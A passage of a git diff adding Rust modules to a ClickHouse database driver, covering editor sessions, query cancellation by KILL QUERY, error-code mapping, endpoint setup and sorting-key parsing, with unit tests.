emitter.consumer_gone && stop.fired.is_none() { + stop.fire(Interrupt::ConsumerGone, &self.control, query_id); + } + }; + Ok(summary(started, end)) + } +} + +fn summary(started: Instant, end: RunEnd) -> RunSummary { + RunSummary { + elapsed: started.elapsed(), + end, + // ClickHouse has no transaction an editor statement can leave + // open. + transaction_state: TransactionState::Idle, + } +} + +/// A failure of the route rather than of the statement. +fn lost(error: &DriverError) -> bool { + matches!( + error.category(), + ErrorCategory::Network | ErrorCategory::ConnectionLost | ErrorCategory::Tls + ) +} + +/// What stops a run, and when the stop was sent. +struct Stop { + cancel: CancellationToken, + shutdown: CancellationToken, + deadline: Option, + grace: Duration, + fired: Option, + give_up: Option, +} + +impl Stop { + fn new(cancel: CancellationToken, shutdown: CancellationToken, deadline: Option, grace: Duration) -> Self { + Self { + cancel, + shutdown, + deadline, + grace, + fired: None, + give_up: None, + } + } + + async fn triggered(&self) -> Interrupt { + let deadline = async { + match self.deadline { + Some(at) => tokio::time::sleep_until(at).await, + None => std::future::pending().await, + } + }; + tokio::select! { + () = self.cancel.cancelled() => Interrupt::Cancelled, + () = self.shutdown.cancelled() => Interrupt::Cancelled, + () = deadline => Interrupt::DeadlineElapsed, + } + } + + /// Record the stop and send the KILL on a task of its own, so the run + /// keeps reading the answer it brings. + fn fire(&mut self, interrupt: Interrupt, control: &clickhouse::Client, query_id: Uuid) { + self.fired = Some(interrupt); + self.give_up = Some(Instant::now() + self.grace); + let control = control.clone(); + tokio::spawn(async move { + if let Err(error) = kill_query(&control, query_id).await { + tracing::debug!(%error, "the KILL QUERY for an editor run failed"); + } + }); + } + + async fn gave_up(&self) { + match self.give_up { + Some(at) => tokio::time::sleep_until(at).await, + None => std::future::pending().await, + } + } + + /// How a stopped run ends. The server's 394 or its own timeout is the + /// acknowledgement; anything else was the statement's own end. + fn end(&self, error: Option<&DriverError>) -> RunEnd { + match self.fired { + Some(Interrupt::DeadlineElapsed) => RunEnd::TimedOut { + server_cancelled: error.is_some_and(|error| { + acknowledges_stop(error) + || matches!( + error, + DriverError::Timeout { + server_cancelled: true, + .. + } + ) + }), + }, + Some(Interrupt::Cancelled | Interrupt::ConsumerGone) | None => RunEnd::Cancelled, + } + } +} + +/// The run's events, batched, with the row limit applied. +struct Emitter { + sink: Box, + limit: RowLimit, + batch: Vec>, + retained: u64, + consumer_gone: bool, +} + +impl Emitter { + fn new(sink: Box, limit: RowLimit) -> Self { + Self { + sink, + limit, + batch: Vec::new(), + retained: 0, + consumer_gone: false, + } + } + + async fn start(&mut self, columns: Arc<[ResultColumn]>) { + self.send(ResultEvent::ResultSetStarted { columns }).await; + } + + /// Keep a row, or say the limit was passed: the row past the limit is + /// the proof there were more. + async fn row(&mut self, row: Vec) -> bool { + if self.retained >= self.limit.get() { + return true; + } + self.batch.push(row); + self.retained += 1; + if self.batch.len() >= BATCH_ROWS { + self.flush().await; + } + false + } + + async fn limit_reached(&mut self) { + self.flush().await; + self.send(ResultEvent::RowLimitReached { + retained: self.retained, + }) + .await; + self.send(ResultEvent::ResultSetFinished { + retained: self.retained, + total_rows: None, + truncation: Truncation::ReadPastLimit, + }) + .await; + } + + async fn finish(&mut self, result_set: bool, written_rows: Option) { + if !result_set { + self.send(ResultEvent::CommandCompleted { + rows_affected: written_rows.filter(|rows| *rows > 0), + }) + .await; + return; + } + self.flush().await; + self.send(ResultEvent::ResultSetFinished { + retained: self.retained, + total_rows: Some(self.retained), + truncation: Truncation::Complete, + }) + .await; + } + + async fn flush(&mut self) { + if self.batch.is_empty() { + return; + } + let rows = std::mem::take(&mut self.batch); + self.send(ResultEvent::Rows(rows)).await; + } + + async fn send(&mut self, event: ResultEvent) { + if self.consumer_gone { + return; + } + if self.sink.accept(event).await == SinkFlow::ConsumerGone { + self.consumer_gone = true; + } + } +} + +#[cfg(test)] +mod tests { + use tablepro_core::{ServerCode, ServerDiagnostics}; + + use super::*; + + fn stopped(interrupt: Interrupt) -> Stop { + let mut stop = Stop::new( + CancellationToken::new(), + CancellationToken::new(), + None, + Duration::from_secs(1), + ); + stop.fired = Some(interrupt); + stop + } + + #[test] + fn a_stopped_run_ends_by_what_stopped_it() { + let killed = DriverError::reported(ServerDiagnostics::new( + Some(ServerCode::ClickHouse { code: 394 }), + "Code: 394. DB::Exception: Query was cancelled", + )); + let timed_out = DriverError::Timeout { + phase: TimeoutPhase::Statement, + server_cancelled: true, + }; + + assert_eq!(stopped(Interrupt::Cancelled).end(Some(&killed)), RunEnd::Cancelled); + assert_eq!(stopped(Interrupt::ConsumerGone).end(None), RunEnd::Cancelled); + assert_eq!( + stopped(Interrupt::DeadlineElapsed).end(Some(&killed)), + RunEnd::TimedOut { server_cancelled: true } + ); + assert_eq!( + stopped(Interrupt::DeadlineElapsed).end(Some(&timed_out)), + RunEnd::TimedOut { server_cancelled: true } + ); + assert_eq!( + stopped(Interrupt::DeadlineElapsed).end(None), + RunEnd::TimedOut { + server_cancelled: false + } + ); + } +} diff --git a/linux/crates/drivers/clickhouse/src/editor_session.rs b/linux/crates/drivers/clickhouse/src/editor_session.rs new file mode 100644 index 0000000000..b48b090482 --- /dev/null +++ b/linux/crates/drivers/clickhouse/src/editor_session.rs @@ -0,0 +1,130 @@ +use std::sync::Arc; +use std::time::Duration; + +use async_trait::async_trait; +use tablepro_core::{ + CallOptions, DriverError, EditorSession, EditorSessionId, EditorSessionOptions, EditorSessionState, LossPhase, + ResultSink, RunOptions, RunSummary, TimeoutPhase, TransactionState, UserSql, +}; +use tokio_util::sync::CancellationToken; +use uuid::Uuid; + +use crate::editor_run::EditorRun; +use crate::endpoint::ClickHouseEndpoint; +use crate::result_reader::drain; +use crate::session_status::SessionStatus; + +/// One editor tab's ClickHouse HTTP session. +/// +/// The server keeps the session's settings and temporary tables under +/// its id for as long as it is used within the session timeout, so the +/// state a user builds up survives between runs even though each run is +/// a request of its own. One statement goes per run: the HTTP interface +/// takes no scripts. +pub(crate) struct ClickHouseEditorSession { + id: EditorSessionId, + session: clickhouse::Client, + control: clickhouse::Client, + statement_timeout: Option, + grace: Duration, + status: Arc, + shutdown: CancellationToken, +} + +impl ClickHouseEditorSession { + /// Open the session with one trivial question, so a session the + /// server will not create fails here rather than on the first run. + pub(crate) async fn open( + endpoint: &ClickHouseEndpoint, + options: EditorSessionOptions, + cancel: CancellationToken, + ) -> Result, DriverError> { + let session = endpoint.session(Uuid::new_v4()); + let liveness = endpoint.liveness(); + let bound = liveness.connect_timeout + liveness.login_timeout; + let opening = tokio::time::timeout(bound, drain(session.query_raw("SELECT 1"))); + let opened = tokio::select! { + () = cancel.cancelled() => Err(DriverError::Cancelled), + opened = opening => opened.unwrap_or(Err(DriverError::Timeout { + phase: TimeoutPhase::Login, + server_cancelled: false, + })).map(|_| ()), + }; + if let Err(error) = opened { + return Err(endpoint.explain(error).await); + } + Ok(Arc::new(Self { + id: EditorSessionId::new(), + session, + control: endpoint.control().clone(), + statement_timeout: options.statement_timeout, + grace: liveness.cancel_grace, + status: Arc::new(SessionStatus::new()), + shutdown: CancellationToken::new(), + })) + } +} + +#[async_trait] +impl EditorSession for ClickHouseEditorSession { + fn id(&self) -> EditorSessionId { + self.id + } + + fn state(&self) -> EditorSessionState { + self.status.state() + } + + /// The run goes on a task of its own, so dropping the caller cancels + /// it rather than leaving the statement running for nobody: the task + /// sees the cancel, sends the KILL and settles the session. + async fn run( + &self, + sql: UserSql, + options: RunOptions, + sink: Box, + ) -> Result { + self.status.begin()?; + let guard = options.cancel.clone().drop_guard(); + let run = EditorRun { + session: self.session.clone(), + control: self.control.clone(), + statement_timeout: self.statement_timeout, + grace: self.grace, + shutdown: self.shutdown.clone(), + }; + let status = self.status.clone(); + let running = tokio::spawn(async move { + let outcome = run.run(sql, options, sink).await; + match &outcome { + Ok(_) => status.finish(), + Err(_) => status.lose(), + } + outcome + }); + let outcome = running.await.unwrap_or_else(|_| { + self.status.lose(); + Err(DriverError::ConnectionLost { + during: LossPhase::Statement, + }) + }); + drop(guard.disarm()); + outcome + } + + async fn transaction_state(&self, _options: CallOptions) -> Result { + match self.status.state() { + EditorSessionState::Lost => Err(DriverError::ConnectionLost { + during: LossPhase::Idle, + }), + EditorSessionState::Ready | EditorSessionState::Running => Ok(TransactionState::Idle), + } + } + + /// The server lets an idle session expire on its own; a run still + /// going is stopped. + async fn close(&self) { + self.shutdown.cancel(); + self.status.lose(); + } +} diff --git a/linux/crates/drivers/clickhouse/src/endpoint.rs b/linux/crates/drivers/clickhouse/src/endpoint.rs new file mode 100644 index 0000000000..9c697df431 --- /dev/null +++ b/linux/crates/drivers/clickhouse/src/endpoint.rs @@ -0,0 +1,155 @@ +use std::sync::Arc; +use std::time::Duration; + +use tablepro_core::{ + ConnectEnvironment, DriverError, LivenessPolicy, NetworkTarget, ServerInfo, TimeoutPhase, TlsMode, Transport, +}; +use uuid::Uuid; + +use crate::client_factory::{READ_ONLY_SETTINGS, base_client}; +use crate::errors::{ErrorContext, map_error_in}; +use crate::result_reader::drain; + +/// How long the server keeps an editor session's state between runs. +const SESSION_TIMEOUT_SECONDS: &str = "3600"; + +/// Everything needed to reach one server: the workspace's client, the +/// sessionless control client that KILLs and resolves, and the +/// transport behind both. +pub(crate) struct ClickHouseEndpoint { + workspace: clickhouse::Client, + control: clickhouse::Client, + transport: Arc, + liveness: LivenessPolicy, + tls_requested: bool, +} + +impl ClickHouseEndpoint { + pub(crate) fn new( + target: &NetworkTarget, + liveness: LivenessPolicy, + environment: &ConnectEnvironment, + read_only: bool, + ) -> Result { + let control = base_client(target, &liveness, environment)?; + let mut workspace = control.clone(); + if read_only { + for (name, value) in READ_ONLY_SETTINGS { + workspace = workspace.with_setting(name, value); + } + } + Ok(Self { + workspace, + control, + transport: target.transport.clone(), + liveness, + tls_requested: target.tls.mode != TlsMode::Disable, + }) + } + + /// The client of the workspace's own requests, read-only when the + /// connection is. + pub(crate) fn workspace(&self) -> &clickhouse::Client { + &self.workspace + } + + /// Not held read-only, because a KILL and a SYSTEM FLUSH LOGS are not + /// reads, and it runs only SQL the driver itself wrote. + pub(crate) fn control(&self) -> &clickhouse::Client { + &self.control + } + + pub(crate) fn liveness(&self) -> &LivenessPolicy { + &self.liveness + } + + /// The client of one editor session: the server keeps a session's + /// settings and temporary tables under its id. + pub(crate) fn session(&self, id: Uuid) -> clickhouse::Client { + self.workspace + .clone() + .with_setting("session_id", id.to_string()) + .with_setting("session_timeout", SESSION_TIMEOUT_SECONDS) + } + + /// What the server says it is, and the database unqualified names + /// resolve to, asked as the login: the first request is where a + /// refused password or a failed handshake shows up. + pub(crate) async fn identify(&self) -> Result<(ServerInfo, String), DriverError> { + let bound = self.liveness.connect_timeout + self.liveness.login_timeout; + let asking = self + .workspace + .query_raw("SELECT version() AS version, currentDatabase() AS database") + .fetch_one::(); + let identity = match tokio::time::timeout(bound, asking).await { + Err(_) => { + return Err(DriverError::Timeout { + phase: TimeoutPhase::Login, + server_cancelled: false, + }); + } + Ok(Err(error)) => { + let context = ErrorContext::Login { + tls_requested: self.tls_requested, + }; + return Err(self.explain(map_error_in(&error, context)).await); + } + Ok(Ok(identity)) => identity, + }; + let (major, minor, patch) = version_numbers(&identity.version); + Ok(( + ServerInfo::new("ClickHouse", identity.version, major, minor, patch), + identity.database, + )) + } + + /// A stream that closed may be the transport's doing, such as an SSH + /// master that exited, which says more than "connection lost". + pub(crate) async fn explain(&self, error: DriverError) -> DriverError { + if !matches!(error, DriverError::ConnectionLost { .. }) { + return error; + } + match self.transport.explain_closed_stream().await { + Some(transport) => DriverError::Transport(transport), + None => error, + } + } + + /// A fresh request of its own, asked one trivial question within + /// `bound`. + pub(crate) async fn check(&self, bound: Duration) -> Result<(), DriverError> { + let checking = drain(self.control.query_raw("SELECT 1")); + match tokio::time::timeout(bound, checking).await { + Ok(outcome) => outcome.map(|_| ()), + Err(_) => Err(DriverError::Timeout { + phase: TimeoutPhase::Probe, + server_cancelled: false, + }), + } + } +} + +#[derive(Debug, serde::Deserialize, clickhouse::Row)] +struct Identity { + version: String, + database: String, +} + +/// `24.8.4.13` is major 24, minor 8. +fn version_numbers(version: &str) -> (u32, u32, u32) { + let mut parts = version.split('.').map(|part| part.parse::().unwrap_or(0)); + let mut next = || parts.next().unwrap_or(0); + (next(), next(), next()) +} + +#[cfg(test)] +mod tests { + use super::*; + + #[test] + fn a_version_splits_into_major_minor_and_patch() { + assert_eq!(version_numbers("24.8.4.13"), (24, 8, 4)); + assert_eq!(version_numbers("25.10.1.1"), (25, 10, 1)); + assert_eq!(version_numbers("not a version"), (0, 0, 0)); + } +} diff --git a/linux/crates/drivers/clickhouse/src/errors.rs b/linux/crates/drivers/clickhouse/src/errors.rs new file mode 100644 index 0000000000..ca06befa74 --- /dev/null +++ b/linux/crates/drivers/clickhouse/src/errors.rs @@ -0,0 +1,297 @@ +use std::error::Error as StdError; +use std::io; + +use clickhouse::error::Error as ClickHouseError; +use tablepro_core::{ + DriverError, LossPhase, ReadOnlyRefusal, ServerCode, ServerDiagnostics, TimeoutPhase, TlsFailure, TransportError, +}; + +/// Codes the app acts on. Everything else is the server's own answer, +/// passed through with its message. +pub(crate) mod code { + pub(crate) const TIMEOUT_EXCEEDED: i32 = 159; + pub(crate) const READONLY: i32 = 164; + pub(crate) const UNKNOWN_USER: i32 = 192; + pub(crate) const WRONG_PASSWORD: i32 = 193; + pub(crate) const REQUIRED_PASSWORD: i32 = 194; + pub(crate) const TOO_MANY_SIMULTANEOUS_QUERIES: i32 = 202; + pub(crate) const NO_FREE_CONNECTION: i32 = 203; + pub(crate) const SOCKET_TIMEOUT: i32 = 209; + pub(crate) const NETWORK_ERROR: i32 = 210; + pub(crate) const UNFINISHED: i32 = 341; + pub(crate) const QUERY_IS_PROHIBITED: i32 = 392; + pub(crate) const QUERY_WAS_CANCELLED: i32 = 394; + pub(crate) const ACCESS_DENIED: i32 = 497; + pub(crate) const AUTHENTICATION_FAILED: i32 = 516; +} + +/// Where an error happened, which decides what a lost stream or an +/// access refusal means. +#[derive(Debug, Clone, Copy, PartialEq, Eq)] +pub(crate) enum ErrorContext { + /// The first request of a connect, where a refused access is a login + /// the server did not accept. + Login { + tls_requested: bool, + }, + Statement, +} + +/// The number ClickHouse prints at the start of every exception. The +/// HTTP interface carries it nowhere else, and clickhouse 0.15 reports +/// the body as one string. +pub(crate) fn clickhouse_code(message: &str) -> Option { + let rest = &message[message.find("Code: ")? + "Code: ".len()..]; + let digits = rest + .find(|character: char| !character.is_ascii_digit()) + .unwrap_or(rest.len()); + rest[..digits].parse().ok() +} + +/// The server's code of an error the driver mapped, where it carries one. +pub(crate) fn server_code(error: &DriverError) -> Option { + let diagnostics = match error { + DriverError::Server(diagnostics) + | DriverError::Auth { + diagnostics: Some(diagnostics), + } => diagnostics, + DriverError::ReadOnly(ReadOnlyRefusal::ServerRejected(diagnostics)) => diagnostics, + _ => return None, + }; + match diagnostics.code { + Some(ServerCode::ClickHouse { code }) => Some(code), + _ => None, + } +} + +pub(crate) fn map_error(error: &ClickHouseError) -> DriverError { + map_error_in(error, ErrorContext::Statement) +} + +pub(crate) fn map_error_in(error: &ClickHouseError, context: ErrorContext) -> DriverError { + match error { + ClickHouseError::BadResponse(message) => server_error(message, context), + ClickHouseError::TimedOut => DriverError::Timeout { + phase: TimeoutPhase::Statement, + server_cancelled: false, + }, + ClickHouseError::Network(_) | ClickHouseError::Other(_) => network_error(error, context), + other => DriverError::Protocol(other.to_string()), + } +} + +/// An I/O error from reading a response body. The cursor carries the +/// client's own error inside it, so that is recovered first. +pub(crate) fn map_io_error(error: io::Error) -> DriverError { + map_error(&ClickHouseError::from(error)) +} + +fn server_error(message: &str, context: ErrorContext) -> DriverError { + let code = clickhouse_code(message); + let diagnostics = ServerDiagnostics::new(code.map(|code| ServerCode::ClickHouse { code }), message.trim()); + let login = matches!(context, ErrorContext::Login { .. }); + match code { + Some(code::UNKNOWN_USER | code::WRONG_PASSWORD | code::REQUIRED_PASSWORD | code::AUTHENTICATION_FAILED) => { + DriverError::auth(Some(diagnostics)) + } + // A user who exists but may read nothing is refused at the first + // request, which is the login here. + Some(code::ACCESS_DENIED) if login => DriverError::auth(Some(diagnostics)), + // allow_ddl=0 is only ever sent for a read-only connection, so a + // prohibited query is that connection refusing a schema change. + Some(code::READONLY | code::QUERY_IS_PROHIBITED) => DriverError::ReadOnly(ReadOnlyRefusal::server(diagnostics)), + Some(code::TIMEOUT_EXCEEDED) => DriverError::Timeout { + phase: TimeoutPhase::Statement, + server_cancelled: true, + }, + Some(code::TOO_MANY_SIMULTANEOUS_QUERIES | code::NO_FREE_CONNECTION) => DriverError::Busy, + _ => DriverError::reported(diagnostics), + } +} + +/// A failure below the HTTP answer, classified by what is in its source +/// chain rather than by its words: a message can mention a certificate +/// without being a TLS failure. +fn network_error(error: &(dyn StdError + 'static), context: ErrorContext) -> DriverError { + if let Some(transport) = find::(error) { + return DriverError::Transport(transport.clone()); + } + if let Some((failure, detail)) = tablepro_net::tls::classify(error) { + return DriverError::Tls { failure, detail }; + } + match context { + ErrorContext::Login { tls_requested: true } if connect_phase(error) => DriverError::Tls { + failure: TlsFailure::Other, + detail: describe(error), + }, + ErrorContext::Login { .. } => DriverError::ConnectionLost { + during: LossPhase::Connect, + }, + ErrorContext::Statement => DriverError::ConnectionLost { + during: LossPhase::Statement, + }, + } +} + +/// Whether hyper failed while it was still opening the connection, which +/// with TLS on is the handshake. Nothing of the request was sent then. +pub(crate) fn connect_phase(error: &(dyn StdError + 'static)) -> bool { + find::(error).is_some_and(hyper_util::client::legacy::Error::is_connect) +} + +/// The first error of type `T` in the chain, looking inside `io::Error` +/// too, since that is where hyper and tokio-rustls keep the cause. +fn find<'a, T: StdError + 'static>(error: &'a (dyn StdError + 'static)) -> Option<&'a T> { + let mut current = Some(error); + while let Some(candidate) = current { + if let Some(found) = candidate.downcast_ref::() { + return Some(found); + } + current = match candidate.downcast_ref::() { + Some(io_error) => io_error.get_ref().map(|inner| inner as &(dyn StdError + 'static)), + None => candidate.source(), + }; + } + None +} + +/// The whole chain in one line, for a detail the user can act on. +fn describe(error: &(dyn StdError + 'static)) -> String { + let mut text = error.to_string(); + let mut source = error.source(); + while let Some(cause) = source { + text.push_str(": "); + text.push_str(&cause.to_string()); + source = cause.source(); + } + text +} + +#[cfg(test)] +mod tests { + use tablepro_core::{ErrorCategory, NetworkEndpoint}; + + use super::*; + + fn bad_response(message: &str) -> DriverError { + map_error(&ClickHouseError::BadResponse(message.to_owned())) + } + + #[test] + fn code_prefix_parsing() { + assert_eq!( + clickhouse_code("Code: 516. DB::Exception: Authentication failed"), + Some(516) + ); + assert_eq!(clickhouse_code("Code: 60"), Some(60)); + assert_eq!( + clickhouse_code("Received from localhost. Code: 394. DB::Exception: Query was cancelled."), + Some(394) + ); + assert_eq!(clickhouse_code("500 Internal Server Error"), None); + assert_eq!(clickhouse_code("Code: x"), None); + } + + #[test] + fn login_codes_are_auth_and_access_denied_only_at_login() { + assert!(matches!( + bad_response("Code: 516. DB::Exception: tablepro: Authentication failed"), + DriverError::Auth { .. } + )); + let denied = ClickHouseError::BadResponse("Code: 497. DB::Exception: Not enough privileges".to_owned()); + assert!(matches!( + map_error_in(&denied, ErrorContext::Login { tls_requested: false }), + DriverError::Auth { .. } + )); + assert_eq!(map_error(&denied).category(), ErrorCategory::Server); + } + + #[test] + fn a_read_only_refusal_carries_the_servers_code() { + let error = bad_response("Code: 164. DB::Exception: Cannot execute query in readonly mode"); + + let DriverError::ReadOnly(ReadOnlyRefusal::ServerRejected(diagnostics)) = &error else { + panic!("got {error:?}"); + }; + assert_eq!(diagnostics.code, Some(ServerCode::ClickHouse { code: 164 })); + assert_eq!(server_code(&error), Some(164)); + } + + #[test] + fn a_cancelled_query_stays_the_servers_answer_for_owned_calls_to_read() { + let error = bad_response("Code: 394. DB::Exception: Query was cancelled"); + + assert_eq!(server_code(&error), Some(394)); + assert_eq!(error.category(), ErrorCategory::Server); + } + + #[test] + fn a_server_timeout_is_a_statement_timeout_the_server_enforced() { + assert_eq!( + bad_response("Code: 159. DB::Exception: Timeout exceeded: elapsed 1.0 seconds"), + DriverError::Timeout { + phase: TimeoutPhase::Statement, + server_cancelled: true, + } + ); + } + + #[test] + fn a_server_error_mentioning_a_certificate_stays_a_server_error() { + let error = bad_response("Code: 47. DB::Exception: Unknown identifier: certificate"); + + assert!(matches!(error, DriverError::Server(_)), "got {error:?}"); + } + + #[test] + fn network_error_classified_by_source() { + let endpoint = NetworkEndpoint::new("db.example.com", 8123).expect("an endpoint"); + let refused = TransportError::Refused { + endpoint: endpoint.clone(), + }; + let wrapped = io::Error::other(refused.clone()); + let network = ClickHouseError::Network(Box::new(wrapped)); + assert_eq!(map_error(&network), DriverError::Transport(refused)); + + let certificate = rustls_failure(); + let network = ClickHouseError::Network(Box::new(io::Error::new(io::ErrorKind::InvalidData, certificate))); + assert!(matches!( + map_error(&network), + DriverError::Tls { + failure: TlsFailure::UnknownIssuer, + .. + } + )); + + let reset = ClickHouseError::Network(Box::new(io::Error::from(io::ErrorKind::ConnectionReset))); + assert_eq!( + map_error(&reset), + DriverError::ConnectionLost { + during: LossPhase::Statement + } + ); + assert_eq!( + map_error_in(&reset, ErrorContext::Login { tls_requested: false }), + DriverError::ConnectionLost { + during: LossPhase::Connect + } + ); + } + + #[test] + fn a_body_error_read_through_the_cursor_keeps_its_code() { + let carried = io::Error::other(ClickHouseError::BadResponse( + "Code: 394. DB::Exception: Query was cancelled".to_owned(), + )); + + assert_eq!(server_code(&map_io_error(carried)), Some(394)); + } + + /// The error the way tokio-rustls reports a refused certificate. + fn rustls_failure() -> io::Error { + io::Error::new( + io::ErrorKind::InvalidData, + rustls::Error::InvalidCertificate(rustls::CertificateError::UnknownIssuer), + ) + } +} diff --git a/linux/crates/drivers/clickhouse/src/http_call.rs b/linux/crates/drivers/clickhouse/src/http_call.rs new file mode 100644 index 0000000000..1029f686ad --- /dev/null +++ b/linux/crates/drivers/clickhouse/src/http_call.rs @@ -0,0 +1,30 @@ +use std::sync::Arc; +use std::sync::atomic::AtomicBool; + +use tablepro_core::CallResource; + +/// What one workspace call holds while it runs. +/// +/// Over HTTP the connection belongs to the request: hyper returns it to +/// its pool only after a response was read to the end, and closes it +/// when a request is dropped half-read. So there is nothing to take out +/// of a pool here, and the abandon flag is all `OwnedCalls` needs. +pub(crate) struct HttpCall { + abandon: Arc, +} + +impl HttpCall { + pub(crate) fn new() -> Self { + Self { + abandon: Arc::new(AtomicBool::new(false)), + } + } +} + +impl CallResource for HttpCall { + fn abandon_flag(&self) -> Arc { + self.abandon.clone() + } + + fn discard(self) {} +} diff --git a/linux/crates/drivers/clickhouse/src/key_expression.rs b/linux/crates/drivers/clickhouse/src/key_expression.rs new file mode 100644 index 0000000000..0eb49d5dd0 --- /dev/null +++ b/linux/crates/drivers/clickhouse/src/key_expression.rs @@ -0,0 +1,135 @@ +//! The parts of a table key, read from the expression the server keeps +//! for it (`system.tables.sorting_key`, a skipping index's `expr`). +//! +//! sqlparser parses the list, so a comma inside `toYYYYMM(d)` or a +//! quoted name never splits a key, and its tokens find the columns a key +//! names in the order it names them. + +use sqlparser::ast::{Expr, OrderByExpr, OrderBySort}; +use sqlparser::dialect::ClickHouseDialect; +use sqlparser::parser::Parser; +use sqlparser::tokenizer::{Token, Tokenizer}; +use tablepro_core::meta::IndexKey; + +/// One key per entry of the list. A list sqlparser cannot read is kept +/// whole, as the server wrote it. +pub(crate) fn index_keys(text: &str) -> Vec { + let text = text.trim(); + if text.is_empty() { + return Vec::new(); + } + match parse_list(text) { + Some(keys) => keys.into_iter().map(key).collect(), + None => vec![IndexKey::Expression { + sql: text.to_owned(), + descending: false, + }], + } +} + +fn parse_list(text: &str) -> Option> { + let dialect = ClickHouseDialect {}; + let mut parser = Parser::new(&dialect).try_with_sql(text).ok()?; + let keys = parser.parse_comma_separated(Parser::parse_order_by_expr).ok()?; + (parser.peek_token().token == Token::EOF).then_some(keys) +} + +fn key(entry: OrderByExpr) -> IndexKey { + let descending = matches!(entry.options.sort, Some(OrderBySort::Desc)); + match entry.expr { + Expr::Identifier(ident) => IndexKey::Column { + name: ident.value, + descending, + }, + other => IndexKey::Expression { + sql: other.to_string(), + descending, + }, + } +} + +/// `columns`, which the catalogue flagged as part of the key, in the +/// order the key expression first names them. A column the expression +/// does not visibly name keeps its catalogue position after the rest. +pub(crate) fn columns_in_key_order(text: &str, columns: &[String]) -> Vec { + let dialect = ClickHouseDialect {}; + let tokens = Tokenizer::new(&dialect, text).tokenize().unwrap_or_default(); + let mut ordered: Vec = Vec::with_capacity(columns.len()); + for (position, token) in tokens.iter().enumerate() { + let Token::Word(word) = token else { + continue; + }; + // A word followed by a parenthesis is a function, not a column. + let called = matches!(next_significant(&tokens, position + 1), Some(Token::LParen)); + if called || ordered.contains(&word.value) || !columns.contains(&word.value) { + continue; + } + ordered.push(word.value.clone()); + } + for column in columns { + if !ordered.contains(column) { + ordered.push(column.clone()); + } + } + ordered +} + +fn next_significant(tokens: &[Token], from: usize) -> Option<&Token> { + tokens + .iter() + .skip(from) + .find(|token| !matches!(token, Token::Whitespace(_))) +} + +#[cfg(test)] +mod tests { + use super::*; + + fn column(name: &str) -> IndexKey { + IndexKey::Column { + name: name.to_owned(), + descending: false, + } + } + + #[test] + fn a_key_list_splits_at_top_level_commas_only() { + assert_eq!(index_keys("id"), vec![column("id")]); + assert_eq!(index_keys("`a`, `b`"), vec![column("a"), column("b")]); + assert_eq!( + index_keys("toYYYYMM(d), id"), + vec![ + IndexKey::Expression { + sql: "toYYYYMM(d)".to_owned(), + descending: false + }, + column("id") + ] + ); + assert!(index_keys("").is_empty()); + } + + #[test] + fn a_descending_key_says_so() { + assert_eq!( + index_keys("id DESC"), + vec![IndexKey::Column { + name: "id".to_owned(), + descending: true + }] + ); + } + + #[test] + fn key_columns_follow_the_expression_not_the_table() { + let flagged = ["id".to_owned(), "d".to_owned()]; + + assert_eq!(columns_in_key_order("toYYYYMM(d), id", &flagged), ["d", "id"]); + assert_eq!(columns_in_key_order("`id`", &flagged[..1]), ["id"]); + assert_eq!( + columns_in_key_order("cityHash64(x)", &flagged), + ["id", "d"], + "flagged columns the text does not name keep their order" + ); + } +} diff --git a/linux/crates/drivers/clickhouse/src/lib.rs b/linux/crates/drivers/clickhouse/src/lib.rs index 2fd3542214..a36dbe1ced 100644 --- a/linux/crates/drivers/clickhouse/src/lib.rs +++ b/linux/crates/drivers/clickhouse/src/lib.rs @@ -1,1170 +1,40 @@ -use std::time::Duration; - -use async_trait::async_trait; -use secrecy::ExposeSecret; -use serde::Deserialize; - -use tablepro_core::column::{ - CatalogType, ColumnDefault, ColumnType, ReadForm, ResultColumn, SqlExpression, SqlTypeExpr, classify_type_name, - has_dynamic_storage, -}; -use tablepro_core::value::{JsonText, OffsetTimestamp, Temporal}; -use tablepro_core::{ - ColumnInfo, ConnectOptions, Connection, DatabaseDriver, DriverError, ExecResult, ForeignKeyInfo, IndexInfo, - LossPhase, MAX_QUERY_ROWS, QueryResult, ReadOnlyRefusal, ServerCode, ServerDiagnostics, TableInfo, TimeoutPhase, - TlsFailure, TransportError, Value, sql_dialect::quote_ident, -}; - -const DRIVER_ID: &str = "clickhouse"; - -/// Applies to the reachability probe in `connect` and to `ping`. The -/// `clickhouse` crate drives hyper, which has no default timeout, so a -/// black-holed host would otherwise hang the connect dialog forever. -/// Queries stay unbounded: an analytical query that runs for minutes is -/// legitimate and the user can close the tab to drop it. -const PROBE_TIMEOUT: Duration = Duration::from_secs(5); - -/// Newline-delimited format carrying column names on line 1 and column -/// types on line 2. Preferred over `JSON` because it streams: rows -/// arrive one line at a time, so a `SELECT *` over a billion-row table -/// stops at `MAX_QUERY_ROWS` instead of buffering the whole result. -const ROW_FORMAT: &str = "JSONCompactEachRowWithNamesAndTypes"; - -pub struct ClickhouseDriver; - -#[async_trait] -impl DatabaseDriver for ClickhouseDriver { - fn id(&self) -> &'static str { - DRIVER_ID - } - - fn display_name(&self) -> &'static str { - "ClickHouse" - } - - fn default_port(&self) -> u16 { - 8123 - } - - fn reports_rows_affected(&self) -> bool { - false - } - - async fn connect(&self, opts: ConnectOptions) -> Result, DriverError> { - let scheme = if opts.use_tls { "https" } else { "http" }; - let url = format!("{scheme}://{}:{}", opts.host, opts.port); - let mut client = clickhouse::Client::default() - .with_url(url) - .with_product_info("tablepro-linux", env!("CARGO_PKG_VERSION")) - // `ALTER TABLE … UPDATE` and `DELETE FROM` are queued as - // asynchronous mutations by default, so a save would return - // before the rows changed and the grid would refetch stale - // values. Wait for the mutation to finish on the server we - // are talking to. - .with_setting("mutations_sync", "1"); - if !opts.username.is_empty() { - client = client.with_user(opts.username); - } - if !opts.password.expose_secret().is_empty() { - client = client.with_password(opts.password.expose_secret()); - } - if !opts.database.is_empty() { - client = client.with_database(opts.database.clone()); - } - - let probe = client.query("SELECT 1").execute(); - match tokio::time::timeout(PROBE_TIMEOUT, probe).await { - Ok(result) => result.map_err(map_clickhouse_error)?, - Err(_) => { - return Err(DriverError::Transport(TransportError::Timeout { - phase: TimeoutPhase::Connect, - })); - } - } - - let database = if opts.database.is_empty() { - resolve_current_database(&client).await - } else { - opts.database - }; - Ok(Box::new(ClickhouseConnection { client, database })) - } -} - -/// The catalog queries filter `system.tables` / `system.columns` by an -/// explicit database name, so an empty `ConnectOptions::database` has to -/// resolve to whatever the server picked for this user rather than being -/// assumed to be `default`. -async fn resolve_current_database(client: &clickhouse::Client) -> String { - client - .query("SELECT currentDatabase()") - .fetch_one::() - .await - .unwrap_or_else(|_| "default".into()) -} - -struct ClickhouseConnection { - client: clickhouse::Client, - database: String, -} - -impl 